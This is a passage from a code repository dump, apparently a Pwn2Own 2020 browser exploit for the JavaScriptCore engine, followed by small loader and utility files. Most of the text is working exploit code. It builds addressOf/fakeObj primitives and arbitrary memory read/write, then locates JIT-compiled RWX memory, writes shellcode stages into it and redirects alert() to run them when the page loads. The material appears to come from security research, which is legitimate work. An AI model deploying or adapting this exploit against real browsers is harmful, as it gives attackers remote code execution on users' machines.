Int64('0x0106220700000000')) 130 | 131 | print('[+] Leaked structure ID: ' + leakStructureId); 132 | 133 | hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble(); 134 | hostObj.butterfly = fakeHostObj; 135 | 136 | addressOf = function(obj) { 137 | hostObj.o = obj; 138 | return Int64.fromDouble(fakeHostObj[2]); 139 | } 140 | 141 | fakeObj = function(addr) { 142 | fakeHostObj[2] = addr.asDouble(); 143 | return hostObj.o; 144 | } 145 | 146 | print('[+] Got reliable addressOf/fakeObj'); 147 | 148 | let rwObj = { 149 | _: 1.1, 150 | length: (new Int64('0x4141414141414141')).asDouble(), 151 | id: leakStructureId.asDouble(), 152 | butterfly: 1.1, 153 | 154 | __: 1.1, 155 | innerLength: (new Int64('0x4141414141414141')).asDouble(), 156 | innerId: leakStructureId.asDouble(), 157 | innerButterfly: 1.1, 158 | } 159 | 160 | var rwObjBufferAddr = Add(addressOf(rwObj), 0x20); 161 | var fakeRwObj = fakeObj(rwObjBufferAddr); 162 | rwObj.butterfly = fakeRwObj; 163 | 164 | var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20)); 165 | rwObj.innerButterfly = fakeInnerObj; 166 | 167 | 168 | function read64(addr) { 169 | // We use butterfly and it depends on its size in -1 index 170 | // Thus, we keep searching non-zero value to read value 171 | for (var i = 0; i < 0x1000; i++) { 172 | fakeRwObj[5] = Sub(addr, -8 * i).asDouble(); 173 | let value = fakeInnerObj[i]; 174 | if (value) { 175 | return Int64.fromDouble(value); 176 | } 177 | } 178 | throw '[-] Failed to read: ' + addr; 179 | } 180 | 181 | function write64(addr, value) { 182 | fakeRwObj[5] = addr.asDouble(); 183 | fakeInnerObj[0] = value.asDouble(); 184 | } 185 | 186 | function makeJITCompiledFunction() { 187 | var obj = {}; 188 | // Some code to avoid inlining... 189 | function target(num) { 190 | num ^= Math.random() * 10000; 191 | num ^= 0x70000001; 192 | num ^= Math.random() * 10000; 193 | num ^= 0x70000002; 194 | num ^= Math.random() * 10000; 195 | num ^= 0x70000003; 196 | num ^= Math.random() * 10000; 197 | num ^= 0x70000004; 198 | num ^= Math.random() * 10000; 199 | num ^= 0x70000005; 200 | num ^= Math.random() * 10000; 201 | num ^= 0x70000006; 202 | num ^= Math.random() * 10000; 203 | num ^= 0x70000007; 204 | num ^= Math.random() * 10000; 205 | num ^= 0x70000008; 206 | num ^= Math.random() * 10000; 207 | num ^= 0x70000009; 208 | num ^= Math.random() * 10000; 209 | num ^= 0x7000000a; 210 | num ^= Math.random() * 10000; 211 | num ^= 0x7000000b; 212 | num ^= Math.random() * 10000; 213 | num ^= 0x7000000c; 214 | num ^= Math.random() * 10000; 215 | num ^= 0x7000000d; 216 | num ^= Math.random() * 10000; 217 | num ^= 0x7000000e; 218 | num ^= Math.random() * 10000; 219 | num ^= 0x7000000f; 220 | num ^= Math.random() * 10000; 221 | num ^= 0x70000010; 222 | num ^= Math.random() * 10000; 223 | num ^= 0x70000011; 224 | num ^= Math.random() * 10000; 225 | num ^= 0x70000012; 226 | num ^= Math.random() * 10000; 227 | num ^= 0x70000013; 228 | num ^= Math.random() * 10000; 229 | num ^= 0x70000014; 230 | num ^= Math.random() * 10000; 231 | num ^= 0x70000015; 232 | num ^= Math.random() * 10000; 233 | num ^= 0x70000016; 234 | num ^= Math.random() * 10000; 235 | num ^= 0x70000017; 236 | num ^= Math.random() * 10000; 237 | num ^= 0x70000018; 238 | num ^= Math.random() * 10000; 239 | num ^= 0x70000019; 240 | num ^= Math.random() * 10000; 241 | num ^= 0x7000001a; 242 | num ^= Math.random() * 10000; 243 | num ^= 0x7000001b; 244 | num ^= Math.random() * 10000; 245 | num ^= 0x7000001c; 246 | num ^= Math.random() * 10000; 247 | num ^= 0x7000001d; 248 | num ^= Math.random() * 10000; 249 | num ^= 0x7000001e; 250 | num ^= Math.random() * 10000; 251 | num ^= 0x7000001f; 252 | num ^= Math.random() * 10000; 253 | num ^= 0x70000020; 254 | num ^= Math.random() * 10000; 255 | num &= 0xffff; 256 | return num; 257 | } 258 | 259 | // Force JIT compilation. 260 | for (var i = 0; i < 1000; i++) { 261 | target(i); 262 | } 263 | for (var i = 0; i < 1000; i++) { 264 | target(i); 265 | } 266 | for (var i = 0; i < 1000; i++) { 267 | target(i); 268 | } 269 | return target; 270 | } 271 | 272 | function getJITCodeAddr(func) { 273 | var funcAddr = addressOf(func); 274 | print("[+] Target function @ " + funcAddr.toString()); 275 | var executableAddr = read64(Add(funcAddr, 3 * 8)); 276 | print("[+] Executable instance @ " + executableAddr.toString()); 277 | 278 | var jitCodeAddr = read64(Add(executableAddr, 3 * 8)); 279 | print("[+] JITCode instance @ " + jitCodeAddr.toString()); 280 | 281 | if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' || 282 | And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') { 283 | jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100); 284 | print("[+] approx. JITCode instance @ " + jitCodeAddr.toString()); 285 | } 286 | 287 | return jitCodeAddr; 288 | } 289 | 290 | function setJITCodeAddr(func, addr) { 291 | var funcAddr = addressOf(func); 292 | print("[+] Target function @ " + funcAddr.toString()); 293 | var executableAddr = read64(Add(funcAddr, 3 * 8)); 294 | print("[+] Executable instance @ " + executableAddr.toString()); 295 | write64(Add(executableAddr, 3 * 8), addr); 296 | } 297 | 298 | function getJITFunction() { 299 | var shellcodeFunc = makeJITCompiledFunction(); 300 | shellcodeFunc(); 301 | var jitCodeAddr = getJITCodeAddr(shellcodeFunc); 302 | return [shellcodeFunc, jitCodeAddr]; 303 | } 304 | 305 | var [_JITFunc, rwxMemAddr] = getJITFunction(); 306 | 307 | for (var i = 0; i < stage0.length; i++) 308 | write64(Add(rwxMemAddr, i), new Int64(stage0[i])); 309 | 310 | setJITCodeAddr(alert, rwxMemAddr); 311 | var argv = { 312 | a0: stage1Arr, 313 | a1: stage2Arr, 314 | doc: document, 315 | a2: 0x41414141, 316 | a3: 0x42424242, 317 | a4: 0x43434343, 318 | }; 319 | alert(argv); 320 | } 321 | 322 | ready.then(function() { 323 | history.replaceState("", "", '/exploit.html?' + Math.random()) 324 | try { 325 | pwn() 326 | } catch (e) { 327 | print("[-] Exception caught: " + e); 328 | } 329 | }).catch(function(err) { 330 | print("[-] Initializatin failed"); 331 | }); 332 | -------------------------------------------------------------------------------- /ready.js: -------------------------------------------------------------------------------- 1 | // Simple promise to be resolved when the document is loaded. 2 | // Subsequent code can simply do 3 | // 4 | // ready = Promise.all([ready, new Promise(...)]); 5 | // 6 | // to add more dependencies. 7 | var ready = new Promise(function(resolve) { 8 | if (typeof(window) === 'undefined') 9 | resolve(); 10 | else 11 | window.onload = function() { 12 | resolve(); 13 | } 14 | }); 15 | -------------------------------------------------------------------------------- /tuto.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sslab-gatech/pwn2own2020/ff08eef5d2d16bdcbbbc96e0d43abbcdf2d0a1c2/tuto.pdf -------------------------------------------------------------------------------- /utils.js: -------------------------------------------------------------------------------- 1 | // 2 | // Utility functions. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | 7 | // Return the hexadecimal representation of the given byte. 8 | function hex(b) { 9 | return ('0' + b.toString(16)).substr(-2); 10 | } 11 | 12 | // Return the hexadecimal representation of the given byte array. 13 | function hexlify(bytes) { 14 | var res = []; 15 | for (var i = 0; i < bytes.length; i++) 16 | res.push(hex(bytes[i])); 17 | 18 | return res.join(''); 19 | } 20 | 21 | // Return the binary data represented by the given hexdecimal string. 22 | function unhexlify(hexstr) { 23 | if (hexstr.length % 2 == 1) 24 | throw new TypeError("Invalid hex string"); 25 | 26 | var bytes = new Uint8Array(hexstr.length / 2); 27 | for (var i = 0; i < hexstr.length; i += 2) 28 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 29 | 30 | return bytes; 31 | } 32 | 33 | function hexdump(data) { 34 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 35 | data = Array.from(data); 36 | 37 | var lines = []; 38 | for (var i = 0; i < data.length; i += 16) { 39 | var chunk = data.slice(i, i+16); 40 | var parts = chunk.map(hex); 41 | if (parts.length > 8) 42 | parts.splice(8, 0, ' '); 43 | lines.push(parts.join(' ')); 44 | } 45 | 46 | return lines.join('\n'); 47 | } 48 | 49 | // Simplified version of the similarly named python module. 50 | var Struct = (function() { 51 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 52 | var buffer = new ArrayBuffer(8); 53 | var byteView = new Uint8Array(buffer); 54 | var uint32View = new Uint32Array(buffer); 55 | var float64View = new Float64Array(buffer); 56 | 57 | return { 58 | pack: function(type, value) { 59 | var view = type; // See below 60 | view[0] = value; 61 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 62 | }, 63 | 64 | unpack: function(type, bytes) { 65 | if (bytes.length !== type.BYTES_PER_ELEMENT) 66 | throw Error("Invalid bytearray"); 67 | 68 | var view = type; // See below 69 | byteView.set(bytes); 70 | return view[0]; 71 | }, 72 | 73 | // Available types. 74 | int8: byteView, 75 | int32: uint32View, 76 | float64: float64View 77 | }; 78 | })(); 79 | --------------------------------------------------------------------------------